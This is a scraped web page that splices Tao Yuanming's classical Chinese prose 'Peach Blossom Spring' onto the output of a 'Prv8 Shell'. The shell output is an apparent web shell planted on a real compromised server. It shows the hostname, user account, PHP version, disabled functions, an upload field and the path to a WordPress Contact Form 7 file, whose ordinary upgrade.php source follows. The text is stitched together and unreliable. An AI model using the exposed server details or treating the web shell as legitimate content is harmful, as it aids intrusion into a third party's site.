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　晋太元中，武陵人捕鱼为业。缘溪行，忘路之远近。忽逢桃花林，夹岸数百步，中无杂树，芳草鲜美，落英缤纷。渔人甚异之，复前行，欲穷其林。　　林尽水源，便得一山，山有小口，仿佛若有光。便舍船，从口入。初极狭，才通人。复行数十步，豁然开朗。土地平旷，屋舍俨然，有良田、美池、桑竹之属。阡陌交通，鸡犬相闻。其中往来种作，男女衣着，悉如外人。黄发垂髫，并怡然自乐。　　见渔人，乃大惊，问所从来。具答之。便要还家，设酒杀鸡作食。村中闻有此人，咸来问讯。自云先世避秦时乱，率妻子邑人来此绝境，不复出焉，遂与外人间隔。问今是何世，乃不知有汉，无论魏晋。此人一一为具言所闻，皆叹惋。余人各复延至其家，皆出酒食。停数日，辞去。此中人语云：“不足为外人道也。”(间隔一作：隔绝) 　　既出，得其船，便扶向路，处处志之。及郡下，诣太守，说如此。太守即遣人随其往，寻向所志，遂迷，不复得路。　　南阳刘子骥，高尚士也，闻之，欣然规往。未果，寻病终。后遂无问津者。 . Prv8 Shell

Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory : /home/stando/public_html/wp-content/plugins/contact-form-7/includes/

Upload File :

Current File : //home/stando/public_html/wp-content/plugins/contact-form-7/includes/upgrade.php

<?php

add_action( 'wpcf7_upgrade', 'wpcf7_convert_to_cpt', 10, 2 );

function wpcf7_convert_to_cpt( $new_ver, $old_ver ) {
	global $wpdb;

	if ( ! version_compare( $old_ver, '3.0-dev', '<' ) ) {
		return;
	}

	$old_rows = array();

	$table_name = $wpdb->prefix . "contact_form_7";

	if ( $wpdb->get_var( "SHOW TABLES LIKE '$table_name'" ) ) {
		$old_rows = $wpdb->get_results( "SELECT * FROM $table_name" );
	} elseif ( $opt = get_option( 'wpcf7' )
	and ! empty( $opt['contact_forms'] ) ) {
		foreach ( (array) $opt['contact_forms'] as $key => $value ) {
			$old_rows[] = (object) array_merge(
				$value,
				array( 'cf7_unit_id' => $key )
			);
		}
	}

	foreach ( (array) $old_rows as $row ) {
		$q = "SELECT post_id FROM $wpdb->postmeta WHERE meta_key = '_old_cf7_unit_id'"
			. $wpdb->prepare( " AND meta_value = %d", $row->cf7_unit_id );

		if ( $wpdb->get_var( $q ) ) {
			continue;
		}

		$postarr = array(
			'post_type' => 'wpcf7_contact_form',
			'post_status' => 'publish',
			'post_title' => maybe_unserialize( $row->title ),
		);

		$post_id = wp_insert_post( $postarr );

		if ( $post_id ) {
			update_post_meta( $post_id, '_old_cf7_unit_id', $row->cf7_unit_id );

			$metas = array( 'form', 'mail', 'mail_2', 'messages', 'additional_settings' );

			foreach ( $metas as $meta ) {
				update_post_meta( $post_id, '_' . $meta,
					wpcf7_normalize_newline_deep( maybe_unserialize( $row->{$meta} ) ) );
			}
		}
	}
}

add_action( 'wpcf7_upgrade', 'wpcf7_prepend_underscore', 10, 2 );

function wpcf7_prepend_underscore( $new_ver, $old_ver ) {
	if ( version_compare( $old_ver, '3.0-dev', '<' ) ) {
		return;
	}

	if ( ! version_compare( $old_ver, '3.3-dev', '<' ) ) {
		return;
	}

	$posts = WPCF7_ContactForm::find( array(
		'post_status' => 'any',
		'posts_per_page' => -1,
	) );

	foreach ( $posts as $post ) {
		$props = $post->get_properties();

		foreach ( $props as $prop => $value ) {
			if ( metadata_exists( 'post', $post->id(), '_' . $prop ) ) {
				continue;
			}

			update_post_meta( $post->id(), '_' . $prop, $value );
			delete_post_meta( $post->id(), $prop );
		}
	}
}

haha - 2025